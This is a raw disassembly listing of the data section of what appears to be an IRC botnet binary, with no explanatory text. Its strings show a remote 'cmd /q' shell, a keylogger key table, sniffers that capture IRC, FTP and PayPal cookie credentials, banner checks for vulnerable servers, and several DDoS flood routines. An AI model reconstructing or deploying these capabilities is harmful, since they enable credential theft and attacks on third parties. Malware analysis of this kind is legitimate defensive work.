'%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F58 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F9C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_434004 db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43404C db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_43408C db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_4340D0 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340FC db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434128 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_434164 db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434190 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341BC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434358 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_43438C db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343D4 db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343FC db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_43443C db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_43447C db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344BC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E2C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E5C: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 dd offset off_435720 dd offset off_43571C dd offset off_435718 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) db 3Ah db 2Eh, 69h, 64h ; DATA XREF: ___:off_43571Co dd 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EB4o align 4 off_435718 dd offset aC_0 ; DATA XREF: ___:00434EB0o ; "{ÔŘ" off_43571C dd offset byte_435249 ; DATA XREF: ___:00434EACo off_435720 dd offset loc_544F41+1 ; DATA XREF: ___:00434EA8o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_435994 db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359CC db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_435A04 db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A38 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A6C db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435AA0 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_435AD0 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B24 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D4C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db 